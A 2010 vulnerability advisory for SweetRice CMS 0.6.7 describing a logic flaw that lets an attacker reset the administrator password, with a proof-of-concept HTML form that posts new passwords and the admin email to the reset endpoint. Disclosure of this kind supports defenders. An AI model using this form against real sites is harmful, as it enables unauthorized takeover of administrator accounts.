Vulnerability ID: HTB22669 Reference: http://www.htbridge.ch/advisory/reset_admin_password_in_sweetrice_cms.html Product: SweetRice CMS Vendor: basic-cms.org ( http://www.basic-cms.org/ ) Vulnerable Version: 0.6.7 Vendor Notification: 21 October 2010 Vulnerability Type: Logic error Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/as/index.php" scripts to properly sanitize user-supplied input. Attacker can change admin password. The following PoC is available: <form action="http://[host]/as/index.php?type=password&mod=resetok"; method="post"> <input name="p1" type="hidden" value="123"> <input name="p2" type="hidden" value="123"> <input name="email" type="hidden" value="[admin_email]"> <input value="Login" name="login" type="submit"> </form>
